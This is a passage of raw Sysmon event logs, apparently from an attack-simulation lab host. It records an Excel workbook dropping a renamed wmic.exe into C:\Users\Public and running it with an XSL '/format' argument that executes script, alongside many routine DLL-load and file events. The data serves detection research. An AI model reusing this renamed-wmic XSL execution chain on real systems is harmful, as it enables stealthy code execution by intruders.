14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\ConhostV2.dll10.0.14393.4583 (rs1_release.210730-1850)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=2FB0A16E47FFDD4CBB3E80E58ECD8AE1,SHA256=943949336C9A3707F0A9FFD76A6D20278B6EE72513E8D193D04B27133C36B7C6,IMPHASH=49A59B06FE5B10F21E36B588430BFDB3trueMicrosoft WindowsValid 734700x800000000000000049799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000049798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.421{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000049797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.421{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.421{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.421{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.404{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe10.0.14393.0 (rs1_release.160715-1616)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=D752C96401E2540A443C599154FC6FA9,SHA256=046F7A1B4DE67562547ED9A180A72F481FC41E803DE49A96D7D7C731964D53A0,IMPHASH=2C980A4DA7C717CC670CB9E1D2C4D733trueMicrosoft WindowsValid 734700x800000000000000049793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Users\Public\fewuhofe.exe10.0.14393.0 (rs1_release.160715-1616)WMI Commandline UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwmic.exeMD5=2CEE7F1AD77D8817E0F043E5E5ED1C83,SHA256=6679EA8FBEB539B5852CE8838420471FED0600F5050F3370DBB355DAC76BF072,IMPHASH=1B1A3F43BF37B5BFE60751F2EE2F326EtrueMicrosoft WindowsValid 734700x800000000000000049791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000049789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.387{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll+d75ce|C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll+d67fe|C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll+d715a|C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll+cfd8e|C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll+d09d7|C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL+100e8a|UNKNOWN(000001C6E1FAFD32) 154100x800000000000000049783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.384{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe10.0.14393.0 (rs1_release.160715-1616)WMI Commandline UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwmic.exeC:\Users\Public\fewuhofe.exe os get /format:"yqjeru.xsl"C:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=2CEE7F1AD77D8817E0F043E5E5ED1C83,SHA256=6679EA8FBEB539B5852CE8838420471FED0600F5050F3370DBB355DAC76BF072,IMPHASH=1B1A3F43BF37B5BFE60751F2EE2F326E{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Temp\My documents for Chris.xlsb" 254200x800000000000000049782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:58:22.356{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Public\fewuhofe.exe2016-07-16 13:18:46.3792021-09-10 14:58:22.356 11241100x800000000000000049781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:58:22.356{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Public\fewuhofe.exe2021-09-10 14:58:22.356 734700x800000000000000049780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.231{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\react-native-win32.dll0.62.22React-Native-WindowsReact-Native-WindowsMicrosoftreact-native-win32.dllMD5=398277435FAC13143749320A60428DC8,SHA256=0576D3C166CF04F52BA9913A75FF14D77AF755D5285D7E7D64550BA432DBA932,IMPHASH=AC0C94CCE84F50FAC928C2A22DC491ACtrueMicrosoft CorporationValid 10341000x800000000000000049779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.294{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\windows.storage.dll+3c6ffe|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.294{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\windows.storage.dll+3ca15e|C:\Windows\System32\windows.storage.dll+3c5e2f|C:\Windows\System32\windows.storage.dll+3c6f70|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.247{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Public.lnk2021-09-10 14:58:22.124 23542300x800000000000000049776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.231{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Public\~$yqjeru.xslMD5=A5B5E7DE68BE78016901911CF6EC75F1,SHA256=0CA4771C9013994E843D8013A3E04D0DE17D37A6BDA701A3ED0634EFE04F6462,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.231{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Public.lnkMD5=D2200672FCE30908917B48CFCE30FC62,SHA256=AD8FE40A6BC6661AD2BC7758AC6CC69B115BA2606670D5B564F2674276B537C6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.231{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{DB543D33-3428-44C0-9567-FC0255A556AD}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.231{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{51676029-359E-456B-B8D9-3A95309284E4}.tmpMD5=DD6184972576446EEDD5D981F6A64B75,SHA256=DF8CD955B71751003340B9C2F00FB2BFB24CE0F616FEC03ED1CD69BD9D42C25C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000049772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.215{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\yqjeru.xsl.lnk2021-09-10 14:58:22.215 23542300x800000000000000049771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.215{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A8BD2C83-E84E-4DEC-ACE1-76D61D15C066}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.215{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9786A9B1A6814368B1B2365AA5F729D8,SHA256=6AAE24126F297691F5E48821226022E7FB7D997B872BDE758A7B3554BCC0C75A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.200{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{BE076D19-6456-4D43-9D21-913002F3D8DC}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.200{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+3c76c8|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.200{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.184{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000049765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.184{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9A6B2F59-68A9-497F-AD37-60E4F3600F17}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.184{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=609487A7490514E4F6AACAAF63879221,SHA256=567173A0D4D20C24182D297CA221C93F44C36C939E05ADF5415B4627FF3DF200,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.184{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.184{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 10341000x800000000000000049760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft 